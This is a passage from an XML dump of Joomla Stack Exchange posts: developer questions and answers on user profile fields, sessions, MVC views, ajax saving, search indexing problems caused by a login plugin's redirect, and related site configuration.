LastEditorUserId="3" LastEditDate="2014-05-24T07:41:21.450" LastActivityDate="2015-08-23T11:12:47.723" Title="Joomla Variables for optional Profile Fields?" Tags="|joomla-3.x|development|user|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostTypeId="1" CreationDate="2014-05-23T17:36:55.407" Score="3" ViewCount="126" Body="&lt;p&gt;I installed a plugin (Delete My Account) which lets me place a &lt;strong&gt;hyperlink&lt;/strong&gt; anywhere inside an article or module, which when clicked, deletes the account of the registered user from the front-end. What i want is to trigger a &lt;strong&gt;captcha verification&lt;/strong&gt; pop-up box (or something like that) whenever that hyperlink is clicked &amp;amp; the user should only be able to access that hyperlink when he inputs the captcha verification correctly. Is there a way out?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-06-01T16:34:48.660" Title="Need Captcha Verification before accessing a hyperlink?" Tags="|user|authentication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="994" PostTypeId="2" ParentId="992" CreationDate="2014-05-23T17:41:43.197" Score="5" Body="&lt;p&gt;Very simple bit of code to use as shown below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$profile = JUserHelper::getProfile($user-&amp;gt;id);&#xA;&#xA;echo '&amp;lt;p&amp;gt;City: ' . $profile-&amp;gt;profile['city'] . '&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;p&amp;gt;Country: ' . $profile-&amp;gt;profile['country'] . '&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;p&amp;gt;Website: ' . $profile-&amp;gt;profile['website'] . '&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;p&amp;gt;About me: ' . $profile-&amp;gt;profile['aboutme'] . '&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enjoy :)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-23T11:12:47.723" LastActivityDate="2015-08-23T11:12:47.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="995" PostTypeId="1" CreationDate="2014-05-18T21:24:41.650" Score="6" ViewCount="6459" Body="&lt;p&gt;I refer to the code below, presented in &lt;a href=&quot;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Example_of_a_frontend_update_function&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Developing a MVC Component - Front End Function Example&lt;/strong&gt;:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldViewUpdHelloWorld extends JView&#xA;{&#xA;    // Overwriting JView display method&#xA;    function display($tpl = null) &#xA;    {&#xA;            $app            = JFactory::getApplication();&#xA;            $params         = $app-&amp;gt;getParams();&#xA;            $dispatcher = JDispatcher::getInstance();&#xA;&#xA;            // Get some data from the models&#xA;            $state          = $this-&amp;gt;get('State');&#xA;            $item           = $this-&amp;gt;get('Item');  //WHAT IS THE PURPOSE OF THIS STATEMENT?&#xA;            $this-&amp;gt;form     = $this-&amp;gt;get('Form');&#xA;&#xA;            // Check for errors.&#xA;            if (count($errors = $this-&amp;gt;get('Errors'))) &#xA;            {&#xA;                    JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;                    return false;&#xA;            }&#xA;            // Display the view&#xA;            parent::display($tpl);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand the purpose of this statement and I also notice that &lt;strong&gt;&lt;code&gt;$item&lt;/code&gt;&lt;/strong&gt; does not appear in the code in file &lt;strong&gt;&lt;code&gt;site/views/updhelloworld/tmpl/default.php&lt;/code&gt;&lt;/strong&gt; on that webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually have the same question for the &lt;strong&gt;&lt;code&gt;view.html.php&lt;/code&gt;&lt;/strong&gt; file of &lt;strong&gt;&lt;code&gt;com_users/views/registration&lt;/code&gt;&lt;/strong&gt; of &lt;strong&gt;Joomla 3&lt;/strong&gt; code ( I thought by comparing the two form submit examples I could answer my question):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;data     = $this-&amp;gt;get('Data'); //WHAT IS THE PURPOSE OF THIS STATEMENT? WHAT PRECISELY KIND OF DATA iS MEANT HERE?&#xA;    $this-&amp;gt;form     = $this-&amp;gt;get('Form');&#xA;    $this-&amp;gt;state    = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;params   = $this-&amp;gt;state-&amp;gt;get('params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also here &lt;strong&gt;&lt;code&gt;$this-&amp;gt;data&lt;/code&gt;&lt;/strong&gt; does not appear in the related &lt;strong&gt;&lt;code&gt;tmpl/default.php&lt;/code&gt;&lt;/strong&gt; file (?)&lt;/p&gt;&#xA;" OwnerDisplayName="Joppo" LastEditorUserId="126" LastEditDate="2015-12-02T07:56:50.387" LastActivityDate="2015-12-02T07:58:16.770" Title="What's the purpose of $this-&gt;get('Item') in Joomla view.html.php example file?" Tags="|joomla-3.x|joomla-2.5|component|joomla-api|mvc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostTypeId="2" ParentId="995" CreationDate="2014-05-19T11:23:57.587" Score="3" Body="&lt;p&gt;The &lt;strong&gt;&lt;code&gt;$this-&amp;gt;get('Item')&lt;/code&gt;&lt;/strong&gt; calls the function &lt;strong&gt;&lt;code&gt;getItem()&lt;/code&gt;&lt;/strong&gt; in the model, and subsequently it loads the data from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;$this-&amp;gt;get('Data')&lt;/code&gt;&lt;/strong&gt; calls a method in the model that gets the registration form data and prepares it for use.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;strong&gt;&lt;code&gt;getData&lt;/code&gt;&lt;/strong&gt; in &lt;strong&gt;&lt;code&gt;com_users/models/registration.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="patterncatcher" LastEditorUserId="126" LastEditDate="2015-12-02T07:58:16.770" LastActivityDate="2015-12-02T07:58:16.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="997" PostTypeId="1" AcceptedAnswerId="1029" CreationDate="2014-05-18T18:39:34.090" Score="1" ViewCount="1483" Body="&lt;p&gt;I would like to call a controller function and after that I would like to update my view with an ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I call my controller function from an ajax script using this url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;url: &quot;index.php?option=com_mycomponent&amp;amp;task=component.save&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems fine, but I cannot access my form inputs in the controller.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$data = $jinput-&amp;gt;get('jform', 'default_value', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$data&lt;/code&gt; stays empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call the function from a normal Joomla button in the form, everything is fine and all values from the form are available in the controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to call my controller function and afterward I would like to update my view with an ajax call.&lt;/p&gt;&#xA;" OwnerUserId="463" OwnerDisplayName="Perino" LastEditorUserId="12352" LastEditDate="2018-06-25T00:31:56.127" LastActivityDate="2018-06-25T00:31:56.127" Title="Joomla save function with ajax update" Tags="|component|ajax|view|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="998" PostTypeId="1" AcceptedAnswerId="2300" CreationDate="2014-05-21T18:21:56.793" Score="3" ViewCount="2371" Body="&lt;p&gt;I'm setting a session variable from external file using ajax:&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1); &#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__) .'/' ) );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$session    = JFactory::getSession();&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;// $session-&amp;gt;clear( 'ss');&#xA;if (isset($_POST['v'])) {&#xA;$value = filter_input(INPUT_POST, 'v', FILTER_SANITIZE_NUMBER_INT);&#xA;$session-&amp;gt;set('ss', $value);&#xA;$response = $session-&amp;gt;get('ss');&#xA;// echo $response;&#xA;} else {&#xA;    echo $session-&amp;gt;get('ss');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So with that I'm setting my session var from external file, now the problem I have is retrieving it, say you need to retrieve that session value from a helper file:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function calculation($carreton) {&#xA;// lots of line to make some calculations&#xA;$session =&amp;amp; JFactory::getSession();&#xA;if ($session-&amp;gt;get('ss') == 1) {&#xA;    $seg = 1000;&#xA;    $subtotal_e = $subtotal + $seg;&#xA;} else {&#xA; $subtotal_e = 0;&#xA;}&#xA;// Final results&#xA;return $someArrs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the IF a = b is working fine the problem is retrieving the values from the session that I have set from external file... &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to retrieve that value?.. maybe I'm setting it wrong, the file that sets the session is in the root file... domain.com/sess.php but the helper file is in components/com_carreton/helper/file.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;&lt;br&gt;&lt;br&gt;&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="9762" OwnerDisplayName="Tanker" LastActivityDate="2015-02-10T06:18:08.170" Title="Retrieve joomla session from within a module" Tags="|php|session|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostTypeId="2" ParentId="998" CreationDate="2014-05-22T15:05:33.300" Score="0" Body="&lt;p&gt;If you turn debug on from the system tab in your global configuration, you will be able to see what you have in the session in the debug panels at the bottom of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would avoid using an external file, why not use a function in a controller to do the ajax call instead?&lt;/p&gt;&#xA;" OwnerDisplayName="patterncatcher" LastActivityDate="2014-05-22T15:05:33.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1000" PostTypeId="1" CreationDate="2014-05-23T18:04:02.087" Score="9" ViewCount="11257" Body="&lt;p&gt;I don't want to install any community plugin to do that. &lt;br&gt;I want to provide a simple upload image form to my registered users, which will allow them to upload &amp;amp; change their profile picture any time they want and also i want to retrieve that image using any kind of Joomla variable stuff. &lt;br&gt;I mean just like &lt;code&gt;$user-&amp;gt;username&lt;/code&gt; returns the name of the logged in user, there should be some similar variable (or script/code) thing which will display the profile picture of the logged in user?&lt;br&gt; Any chances?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="3" LastEditDate="2014-05-24T07:40:53.713" LastActivityDate="2018-06-14T15:14:59.620" Title="Profile Pictures for Joomla Users?" Tags="|joomla-3.x|user|profile|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1001" PostTypeId="2" ParentId="995" CreationDate="2014-05-23T18:04:03.530" Score="5" Body="&lt;p&gt;In classes extending &lt;code&gt;JView&lt;/code&gt; or &lt;code&gt;JViewLegacy&lt;/code&gt;, a call to &lt;code&gt;$this-&amp;gt;get()&lt;/code&gt; will call a function in registered model classes starting with get.  So calling &lt;code&gt;$this-&amp;gt;get('Item')&lt;/code&gt; will call a model's getItem method.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-23T18:04:03.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1002" PostTypeId="2" ParentId="1000" CreationDate="2014-05-23T18:15:30.967" Score="8" Body="&lt;p&gt;The only way to achieve this &lt;strong&gt;without&lt;/strong&gt; using a 3rd party extension would be to either write your own plugin or start editing the profile plugin that comes with Joomla. Editing core file is simply a &lt;strong&gt;no go&lt;/strong&gt; area so I won't even start on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would strongly suggest you use a small and simple 3rd party plugin. Here's a plugin that does just that for Joomla 3.4, Profile Picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/profile-picture&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/profile-picture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access and display the avatar, you can use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Import the Profile Picture library&#xA;jimport('profilepicture.profilepicture');&#xA;&#xA;// Get the current user object&#xA;$user = JFactory::getUser();&#xA;&#xA;// Instantiate the ProfilePicture class with User ID&#xA;$profilepicture = new ProfilePicture($user-&amp;gt;get('id'));&#xA;&#xA;// Output the picture&#xA;echo $profilepicture-&amp;gt;toHTML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://github.com/mosets/profilepicture&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mosets/profilepicture&lt;/a&gt; for the rest of the APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="137" LastEditDate="2015-06-12T05:02:44.513" LastActivityDate="2015-06-12T05:02:44.513" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostTypeId="2" ParentId="939" CreationDate="2014-05-24T03:50:34.620" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In linux, you can find out the name of the user running Apache with a command :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ps aux | grep apache  # shows username in the first column&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Retrieve the groups this user is part of with the groups(1) command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;groups [USERNAME] &lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is a screenshot to find out apache [user-name] and [user-group] in Ubuntu 12.04&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TNuZ.png&quot; alt=&quot;Sample run on Ubuntu 12.04&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="144" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-05-24T03:50:34.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostTypeId="2" ParentId="945" CreationDate="2014-05-24T04:15:10.480" Score="5" Body="&lt;p&gt;There are also currently no official Joomla certifications.  There is a Certification Team that is working on a set of certifications with the help of the community.  They are crafting the exams and subject matter based on real world experience by real world developers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We agree as a team that there are reasons to have a certification.  Certainly, those of us who work on the bespoke websites don't need them.  However, it might be a nice way of weeding out candidates for corporate site administration and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, it's a fine line and the team is trying to walk it.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-05-24T04:15:10.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostTypeId="2" ParentId="957" CreationDate="2014-05-24T04:20:31.673" Score="1" Body="&lt;p&gt;My favorite IP-based trigger is &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/modules-management/3391?qh=YToyOntpOjA7czo3OiJtZXRhbW9kIjtpOjE7czo4OiJtZXRhbW9kZSI7fQ==&quot; rel=&quot;nofollow&quot;&gt;MetaMod .&lt;/a&gt; Beyond the application you're intending in controlling content based on IP range, it can also present content in a variety of ways based on user location, time of day, etc.  While this doesn't all apply to your project, I find it to be the best investment for someone who will want a lot of features for a modest amount of money.  Someone who may make a new website in the future and use it for other applications also.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-05-24T04:20:31.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostTypeId="1" AcceptedAnswerId="1010" CreationDate="2014-05-25T03:54:20.417" Score="5" ViewCount="203" Body="&lt;p&gt;&lt;strong&gt;Brief Overview&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Joomla website has a strange problem with search engine robots. I checked ALL the standard things a webmaster can do to make sure it is not a trivial issue with robots.txt file or other search engine optimization parameters. My university's IT folks are clueless of what's going on and so are the people who tried to help on Joomla's forums. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked this question on Pro Webmasters stackexchange too. But I am starting to suspect that there may be some hidden setting somewhere in Joomla causing the issue. So, I am asking this question here to see if there is a setting I am missing somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The actual problem starts here.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website in question is: &lt;a href=&quot;http://gsa.ece.umd.edu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gsa.ece.umd.edu/&lt;/a&gt;. It runs using Joomla 2.5.x (latest). The site was up since around mid December of 2013, and I noticed right from the get go that the site was not being indexed correctly on Google. Specifically I see the following message when I search for the website on Google:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ECEGSA - University of Maryland&#xA;&#xA;A description for this result is not available because of this site's robots.txt – learn more.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is in December till around March I used the default Joomla robots.txt file which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing there should stop Google from searching my website. And even more confusingly, when I go to Google Webmaster tools, under &quot;Blocked URLs&quot; tab, when I try many of the links on the site, they are all shown up as &quot;Allowed&quot;. I then tried adding a sitemap, putting it in the robots.txt file. That did not help. Same exact search result, same behavior in the &quot;Blocked URLs&quot; tab on the webmaster tools. Now additionally, the &quot;sitemaps&quot; tab says for several links an error saying &quot;URL is robotted out&quot;. I tried those exact links in the &quot;Blocked URLs&quot; and they are allowed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried deleting the robots.txt file. No use. Same exact problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example screenshot from Webmaster tools.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c9tn9.png&quot; alt=&quot;Index Status for my website showing no crawl errors and no blocked URLs, in direct contradiction to what the sitemap tab says and what the search result says! FRUSTRATION!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I cannot give a rational explanation to why this is happening and neither can anyone in the IT department here. No one on Joomla forums can seem to understand what is going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is a possible conflict in the Joomla site configuration based on what is described above?&lt;/p&gt;&#xA;" OwnerUserId="452" LastEditorUserId="452" LastEditDate="2014-05-26T18:19:17.297" LastActivityDate="2014-05-26T18:19:17.297" Title="Bad configuration of Externallogin extension causing search engine indexing problem" Tags="|joomla-2.5|seo|configuration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1007" PostTypeId="1" CreationDate="2014-05-25T11:09:35.323" Score="2" ViewCount="1111" Body="&lt;p&gt;I want to add &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt; to certain menu items in Joomla menu. I do not want to change Joomla core files. What I want is to put in menu options nofollow for &quot;Link Type&quot; tab &quot;Link Title Attribute&quot; and then in menu overrides to check with help of php if the link has title tag and nofollow attribute in it replace it with &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to do this with jQuery, but I am afraid for some search engines not to consider jQuery, so I would like to do this server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="401" LastEditorUserId="52" LastEditDate="2014-05-30T20:57:46.837" LastActivityDate="2014-07-13T08:35:59.827" Title="Joomla 3.3 specific menu item nofollow" Tags="|php|joomla-3.3.x|menu-item|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostTypeId="2" ParentId="1007" CreationDate="2014-05-25T13:08:44.830" Score="2" Body="&lt;p&gt;Yes you can. Edit the menu item from Admin, and go to the Metadata tab. Below the metadata description and keywords is a droptdown of the Robot options, including NoIndex, NoFollow&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-05-25T13:08:44.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1009" PostTypeId="2" ParentId="1007" CreationDate="2014-05-25T16:13:23.100" Score="0" Body="&lt;p&gt;You can create your own menu module and do whatever you want there.&#xA;The only limitation is that you need to work with the present parameters from the menu item. However some people get creative with them :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-25T16:13:23.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostTypeId="2" ParentId="1006" CreationDate="2014-05-26T00:21:26.620" Score="2" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;em&gt;Issue has been resolved by correcting extension configuration&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a plugin called &lt;code&gt;externallogin&lt;/code&gt; to allow my users to login using the University CAS (Central Authentication Server). It turns out that this plugin is adding a 303 redirect to the HTTP Header response to ALL my pages, due to a configuration error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as a consequence none of my pages are getting indexed properly as Google either (a) penalizes 303 redirects or probably because (b) the page to which the 303 redirect points to (&lt;a href=&quot;https://login.umd.edu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://login.umd.edu/&lt;/a&gt;) has a robots.txt that &lt;strong&gt;disallows&lt;/strong&gt; all bots. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FIX&lt;/strong&gt;&lt;br&gt;&#xA;To fix this issue, if you ever encounter it, you must correct the configuration of the plugin as follows:&lt;br&gt;&#xA;1. In the extensions menu, under &quot;External Login&gt;&quot;, go to the server configuration.&lt;br&gt;&#xA;2. In the connections tab, for &quot;Automatic Login/Logout&quot;, choose 'No'.&#xA;The error occurs if you choose 'Yes' in step 2, since in this case, the extension automatically adds a 303 redirect to all pages of your website, to check whether a user has been logged in to the CAS in the browser session, and if so it automatically logs you into the site. This feature will cause search engine indexing problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Acknowledgements&lt;/strong&gt;&lt;br&gt;&#xA;Thanks goes to @stephen-ostermiller (&lt;a href=&quot;https://webmasters.stackexchange.com/a/63166/39010&quot;&gt;Relevant answer on Pro Webmasters&lt;/a&gt;) for directing me in the right direction by making me realize that it was a 303 redirect added by the extension.&lt;/p&gt;&#xA;" OwnerUserId="452" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:25.293" LastActivityDate="2014-05-26T18:17:32.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1011" PostTypeId="1" AcceptedAnswerId="1012" CreationDate="2014-05-26T02:04:13.743" Score="0" ViewCount="986" Body="&lt;p&gt;I have a simple question - are there any free extensions for Joomla 2.5.x or 3.x that can incorporate Single sign-on using a Shibboleth in Joomla? I can even consider ActiveDirectory as a possibility.&lt;/p&gt;&#xA;" OwnerUserId="452" LastActivityDate="2017-09-15T07:05:55.067" Title="Any free extensions for Single Sign-on using Shibboleth or ActiveDirectory?" Tags="|joomla-3.x|joomla-2.5|extensions|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1012" PostTypeId="2" ParentId="1011" CreationDate="2014-05-26T05:14:50.700" Score="1" Body="&lt;p&gt;Well the one I'm aware of is &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/authentication-cloud-based/18108&quot; rel=&quot;nofollow&quot;&gt;JMapMyLDAP&lt;/a&gt;, it supports SSO with HTTP for LDAP directories and has support for OpenLDAP as well as commercial solutions such as Microsoft Active Directory and Novell eDirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried that one? Otherwise have you looked in the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;'s section on &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/authentication-cloud-based&quot; rel=&quot;nofollow&quot;&gt;Authentication - Cloud Based&lt;/a&gt;&quot;?&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-26T05:14:50.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1013" PostTypeId="2" ParentId="945" CreationDate="2014-05-26T08:28:57.130" Score="3" Body="&lt;p&gt;Although this isn't a certification program, if you are serious about making a living Joomla!ng then I highly recommend Joomla [programmer] by Mark Dexter and Louis Landry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That book will give you a strong foundation on how J! works. There is also a new book that is targeted at J!3.x, but I haven't read it yet, so I cannot make A recommendation for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also benefit from reading Domain Driven Design: Tackling Complexity in the heart of software (Eric Evans) and  Clean Code (Robert C. Martin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These there books combined will put you ahead of at least half the J! Completion out there at the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-26T08:28:57.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostTypeId="1" CreationDate="2014-05-26T12:31:35.670" Score="3" ViewCount="164" Body="&lt;p&gt;I am working on centralized documents system for our Joomla demos  and before I go all crazy with plugins/extensions/modules creation I would like to ask you for some guidance.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently we have have about 15 articles inside the demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;examples;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlatemplates.youjoomla.info/eximium/index.php/shortcodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://joomlatemplates.youjoomla.info/eximium/index.php/shortcodes&lt;/a&gt;&#xA;&lt;a href=&quot;http://joomlatemplates.youjoomla.info/eximium/index.php/pages/content-views&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://joomlatemplates.youjoomla.info/eximium/index.php/pages/content-views&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since out templates volume is always increasing keeping up demo docs fresh and up to date has become an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently written all those articles in plain html format.&#xA;Does anyone know a simple way to pull these inside Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to keep them all on our framework website and when user visits the demo the html pages are pulled from our framework site in to Joomla. This way we can always update one set of files instead over 100+ demos. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that those pages should be processed trough Joomla if possible as Joomla articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also looked in to this &lt;a href=&quot;https://joomla.stackexchange.com/questions/626/how-is-the-joomla-issue-tracker-documentation-generated&quot;&gt;How is the Joomla Issue Tracker documentation generated?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but to be completely honest I do not know where to begin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you could explain ( or have a working example ) how I can port simple html page in to Joomla article that is always updatable from the source it would be great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Since we are using shortcodes I am busting on one that would do what I need, pull html in to article via shortcode. If anyone knows better way please advise.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&#xA;I ended up making a framework shortcode that works as explained above&lt;/strong&gt;&#xA;Here is the demo&#xA;&lt;a href=&quot;http://yjsimplegrid.com/shortcodes/parse-page.html&quot; rel=&quot;nofollow 